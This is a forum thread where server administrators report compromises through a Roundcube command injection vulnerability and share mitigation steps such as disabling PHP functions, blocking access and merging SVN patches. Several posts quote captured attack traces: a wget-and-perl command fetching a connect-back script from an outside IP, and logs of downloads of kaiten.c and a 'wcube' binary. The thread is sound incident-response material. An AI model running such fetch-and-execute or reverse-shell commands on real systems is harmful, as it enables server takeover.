Roundcube vulnerability ??

floyd

Verified User
Joined
Mar 29, 2005
Messages
6,168
I have a script that regularly checks for running apache processes that are out of the ordinary. It kills them and lets me know what they were.

I got this today.

Process:
Code:
apache   28505  0.0  0.0   4528  1084 ?        S    08:24   0:00 sh -c wget 64.62.225.99/~jhtech/cback.txt -O /var/tmp/cb.txt;/usr/bin/perl /var/tmp/cb.txt 64.62.225.99 8003

ls -l /proc/28505
Code:
 dr-xr-xr-x 2 apache apache 0 Dec 25 08:25 attr
 -r-------- 1 apache apache 0 Dec 25 08:25 auxv
 -r--r--r-- 1 apache apache 0 Dec 25 08:25 cmdline
 -rw-r--r-- 1 apache apache 0 Dec 25 08:25 coredump_filter
 -r--r--r-- 1 apache apache 0 Dec 25 08:25 cpuset
 lrwxrwxrwx 1 apache apache 0 Dec 25 08:25 cwd -> /var/www/html/roundcubemail-0.1.1/bin
 -r-------- 1 apache apache 0 Dec 25 08:25 environ
 lrwxrwxrwx 1 apache apache 0 Dec 25 08:25 exe -> /bin/bash
 dr-x------ 2 apache apache 0 Dec 25 08:25 fd
 -r-------- 1 apache apache 0 Dec 25 08:25 limits
 -r-------- 1 apache apache 0 Dec 25 08:25 limits
 -rw-r--r-- 1 apache apache 0 Dec 25 08:25 loginuid
 -r--r--r-- 1 apache apache 0 Dec 25 08:25 maps
 -rw------- 1 apache apache 0 Dec 25 08:25 mem
 -r--r--r-- 1 apache apache 0 Dec 25 08:25 mounts
 -r-------- 1 apache apache 0 Dec 25 08:25 mountstats
 -rw-r--r-- 1 apache apache 0 Dec 25 08:25 oom_adj
 -r--r--r-- 1 apache apache 0 Dec 25 08:25 oom_score
 lrwxrwxrwx 1 apache apache 0 Dec 25 08:25 root -> /
 -r--r--r-- 1 apache apache 0 Dec 25 08:25 schedstat
 -r-------- 1 apache apache 0 Dec 25 08:25 smaps
 -r--r--r-- 1 apache apache 0 Dec 25 08:25 stat
 -r--r--r-- 1 apache apache 0 Dec 25 08:25 statm
 -r--r--r-- 1 apache apache 0 Dec 25 08:25 status
 dr-xr-xr-x 3 apache apache 0 Dec 25 08:25 task
 -r--r--r-- 1 apache apache 0 Dec 25 08:25 wchan

Looks like somebody was using roundcube to wget a file. Is this a roundcube vulnerability? Any ideas of what I need to do to secure the server more?
 
There is in fact an unpatched vulnerability of roundcube. See http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5619

It has been fixed only in the SVN unstable version of the code. You have to choice between denying the access to roundcube until the next release, checkout the last SVN revision or use the last nigthly build.
Instructions for SVN: http://trac.roundcube.net/trac.cgi/wiki/Dev_SVN
Nightly builds: http://nightly.roundcube.net/

I personally use the last 0.1 version, 0.1.1, which seems not to be vulnerable (I tested it against the public exploit http://www.milw0rm.org/exploits/7553).
But I see that you are using the same version, therefore I'm going to block access for the moment. There must be some private exploit capable of using the vulnerability even in the old versions.
 
Last edited:
Wouldn't it be possible to filter this out with disable_functions in your php.ini, or am I thinking totally wrong here?
 
Yes you can, but the attacker still can do a lot of damage.
disable_functions is a nice proactive security protection, but it's always better to fix or deny access to any known RFI or RCI vulnerability.
 
I do agree, but disabling certain functions within PHP and use mod_security will work as a first aid kid until updates are in place (in this case).
 
so and there is any fast and reliable way to suspend users to access RC...while there is no patch ?


keep RC but in a "suspended access" way..to all users and domains.
 
There are many options, you could do this for example:
Code:
# cd /var/www/html
# rm -rf roundcubemail-* roundcube
# mkdir roundcube
# echo '<H2>RoundCube has been disabled for security reasons, see CVE-2008-5619.</H2><BR /><H3>It will return as soon as a patched version get released, thanks for your patience.</H3>' >roundcube/index.html
# chown -R webapps:webapps roundcube

Then just check custombuild (./build update and ./build versions) every day. When a new release appears, you will just have to rm -rf /var/www/html/roundcube and ./build roundcube.

If you customized RoundCube remember to copy config/*.inc.php somewhere.
 
Last edited:
so and there is any fast and reliable way to suspend users to access RC...while there is no patch ?


keep RC but in a "suspended access" way..to all users and domains.

The easiest way to deny public access would be to create/edit a .htaccess file and lock everyone out that way.
 
Wow, this is pretty serious in my opinion. I have quite a few customers who use roundcube all the time.

I just disabled a bunch of php functions server-wide (exec, system, shell_exec, etc).

Also, does anyone see a downside to adding the following in the <Directory "/var/www/html"> section of /etc/httpd/conf/httpd.conf ?

php_admin_value open_basedir /var/www/html:/tmp:/usr/local/lib/php/
php_admin_flag safe_mode On

A cursory test of roundcube and phpmyadmin seem to work just fine with it set up like that.
 
The attacker could just inject a PHP script sending spam emails, using mail() or even socket().
Any Remote Command Injection vulnerability is exactly as dangerous as giving away an FTP access to the public_html dir, or to the entire system if not using safe_mode. Just imagine how many things can be done with it.
What about a modification/trojan in any of your web software that sends in clear any login/password pair to the attacker email address? Many people use the same password for their email account and their paypal account... for example.
 
Last edited:
Good points.

I have a highly customized version of RoundCube running. Other than the link provided earlier, does anyone have further details on this vulnerability?
 
You can apply SVN revisions #2148, (possibly) #2186 and #2187 to your code and fix the vulnerability, like this:
Code:
svn merge https://svn.roundcube.net/trunk/roundcubemail/@2147 https://svn.roundcube.net/trunk/roundcubemail/@2148 /var/www/html/roundcubemail-<yourversion>
svn merge https://svn.roundcube.net/trunk/roundcubemail/@2185 https://svn.roundcube.net/trunk/roundcubemail/@2187 /var/www/html/roundcubemail-<yourversion>
I'm not sure if your directory has to be an SVN Working Directory... but it should work.

If you customize any OSS in the future, I highly suggest you checkout their SVN repository and create a local branche, constantly synchronizing it with their trunk, or at least their tags. Learn SVN, and you will have a very, very powerful tool in your hands.
 
Last edited:
Same Issue Here

All -

I had 3 servers compromised today with this issue. I just found this thread now. (I just posted another thread regading my issue)

Here is the apache error log showing the download
Code:
-------------------------------------------------
Tue Dec 30 00:10:02 2008] [notice] SIGHUP received.  Attempting to restart
[Tue Dec 30 00:10:02 2008] [notice] Apache/1.3.41 (Unix) mod_ssl/2.8.31 OpenSSL/0.9.7a PHP/4.4.8 mod_perl/1.29 FrontPage/5.0.2.2510 configured -- resuming normal operations
[Tue Dec 30 00:10:02 2008] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
[Tue Dec 30 00:10:02 2008] [notice] Accept mutex: sysvsem (Default: sysvsem)
[Tue Dec 30 00:11:01 2008] [notice] caught SIGTERM, shutting down
[Tue Dec 30 00:11:02 2008] [notice] Apache/1.3.41 (Unix) mod_ssl/2.8.31 OpenSSL/0.9.7a PHP/4.4.8 mod_perl/1.29 FrontPage/5.0.2.2510 configured -- resuming normal operations
[Tue Dec 30 00:11:02 2008] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
[Tue Dec 30 00:11:02 2008] [notice] Accept mutex: sysvsem (Default: sysvsem)
--07:28:29--  [url]http://64.62.225.99/~jhtech/cback.txt[/url]
           => `/var/tmp/cb.txt'
Connecting to 64.62.225.99:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 565 [text/plain]

    0K                                                       100%   44.90 MB/s

07:28:29 (44.90 MB/s) - `/var/tmp/cb.txt' saved [565/565]

--09:09:00--  [url]http://c3server.net/.access/kaiten.c[/url]
           => `kaiten.c'
Resolving c3server.net... 64.27.50.15
Connecting to c3server.net|64.27.50.15|:80... connected.
HTTP request sent, awaiting response... --09:09:00--  [url]http://c3server.net/.access/kaiten.c[/url]
           => `kaiten.c'
Resolving c3server.net... 64.27.50.15
Connecting to c3server.net|64.27.50.15|:80... 200 OK
Length: 39,952 (39K) [text/x-c]

    0K ..connected.
HTTP request sent, awaiting response... ....200 OK
Length: 39,952 (39K) [text/x-c]
kaiten.c has sprung into existence.
Retrying.

.... .......... .......... .........            100%  154.59 KB/s

09:09:00 (154.59 KB/s) - `kaiten.c' saved [39952/39952]

kaiten.c:170: warning: conflicting types for built-in function 'pow'
kaiten.c: In function `killd':
kaiten.c:669: warning: the address of `disable', will always evaluate as `true'
--09:09:01--  [url]http://c3server.net/.access/kaiten.c[/url]
  (try: 2) => `kaiten.c.1'
Connecting to c3server.net|64.27.50.15|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 39,952 (39K) [text/x-c]

    0K .......... .......... .......... .........            100%  233.09 KB/s

09:09:02 (233.09 KB/s) - `kaiten.c.1' saved [39952/39952]

gcc: kaiten.c: No such file or directory
gcc: no input files
--09:18:06--  [url]http://c3server.net/.access/kaiten.c[/url]
           => `kaiten.c'
Resolving c3server.net... --09:18:06--  [url]http://c3server.net/.access/kaiten.c[/url]
           => `kaiten.c'
Resolving c3server.net... 64.27.50.15
Connecting to c3server.net|64.27.50.15|:80... 64.27.50.15
Connecting to c3server.net|64.27.50.15|:80... connected.
HTTP request sent, awaiting response... connected.
HTTP request sent, awaiting response... 200 OK
Length: 39,952 (39K) [text/x-c]

    0K ..200 OK
Length: 39,952 (39K) [text/x-c]
kaiten.c has sprung into existence.
Retrying.

........ .......... .......... .........            100%  169.41 KB/s

09:18:06 (169.41 KB/s) - `kaiten.c' saved [39952/39952]

kaiten.c:170: warning: conflicting types for built-in function 'pow'
kaiten.c: In function `killd':
kaiten.c:669: warning: the address of `disable', will always evaluate as `true'
--09:18:07--  [url]http://c3server.net/.access/kaiten.c[/url]
  (try: 2) => `kaiten.c.2'
Connecting to c3server.net|64.27.50.15|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 39,952 (39K) [text/x-c]

    0K .......... .......... .......... .........            100%  136.80 KB/s

09:18:08 (136.80 KB/s) - `kaiten.c.2' saved [39952/39952]

gcc: kaiten.c: No such file or directory
gcc: no input files
[root@server httpd]# 
--------------------------------------------------------------
 
Last edited:
Jeff -

Thanks for posting / moving my other thread. I am pretty sure that the 3 boxes were compomised via the roundcube vulnerability. I have cleaned up the 3 boxes and I am monitoring them. (I removed roundcube from them)

The joomla box I rebuilt last night (removed roundcube) - its looking good. My staff and I are in the process of updating or removing roundcube.... (its gonna be a fun couple of days)
 
The joomla box I rebuilt last night (removed roundcube) - its looking good.

Whew! I was hit by the roundcube vulnerability as well early this morning. Now that I had a look at the project and the code I am more than horrified at having had it installed in the first place.

Things like this show us the worst things of popular open source software as something like this would simply not be possible without seeing the code. And sorry to say the same goes for Joomla, for example (had a couple of very bad experiences in the past).

They say they have version 0.2 ready and that the vulnerabilities have beem fixed now but I will wait at least a few months before reinstalling the new version.

Wonder if there are any known issues with the rest of auto-installed software like PhpMyAdmin?
 
This is a pretty damn serious problem. Is there a cast-iron fix for this? We need an official DA response here.
 
This is a pretty damn serious problem. Is there a cast-iron fix for this? We need an official DA response here.

From my error.log:

Code:
[Thu Jan 08 04:40:18 2009] [error] [client 202.79.201.7] File does not exist: /home/mydomain/public_html/rc
--04:40:24--  http://85.214.64.225/wcube
Connecting to 85.214.64.225:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 667756 (652K) [text/plain]
Saving to: `wcube'

     0K .......... .......... .......... .......... ..........  7%  401K 2s
    50K .......... .......... .......... .......... .......... 15%  771K 1s
   100K .......... .......... .......... .......... .......... 23%  877K 1s
   150K .......... .......... .......... .......... .......... 30% 8.10M 1s
   200K .......... .......... .......... .......... .......... 38% 1.74M 0s
   250K .......... .......... .......... .......... .......... 46% 1.88M 0s
   300K .......... .......... .......... .......... .......... 53% 9.85M 0s
   350K .......... .......... .......... .......... .......... 61% 6.87M 0s
   400K .......... .......... .......... .......... .......... 69% 2.58M 0s
   450K .......... .......... .......... .......... .......... 76% 9.71M 0s
   500K .......... .......... .......... .......... .......... 84% 8.17M 0s
   550K .......... .......... .......... .......... .......... 92% 9.64M 0s
   600K .......... .......... .......... .......... .......... 99% 1.96M 0s
   650K ..                                                    100% 1.03M=0.4s

04:40:42 (1.68 MB/s) - `wcube' saved [667756/667756]

After this there was a process "wcube" (or actually dozens of processes) owned by apache and it was effectively stealing all bandwidth. The binary was in /tmp and - sorry to say - I deleted it without having a look at what it was.

So this IS a very serious problem which made me have a very close look at the rest of open applications as well.

Anybody: If I move PhpMyAdmin to "/_php_myadmin_", for instance, what are the steps to do this in DA? Editing configuration files? Which ones?


Markku
 
I have a copy of the wcube file mentioned by mkniskanen if anyone wants to look at it. Send me a PM if it would be helpful. Though I don't think posting it here for the public would do any harm it's better to be safe.
 
Back
Top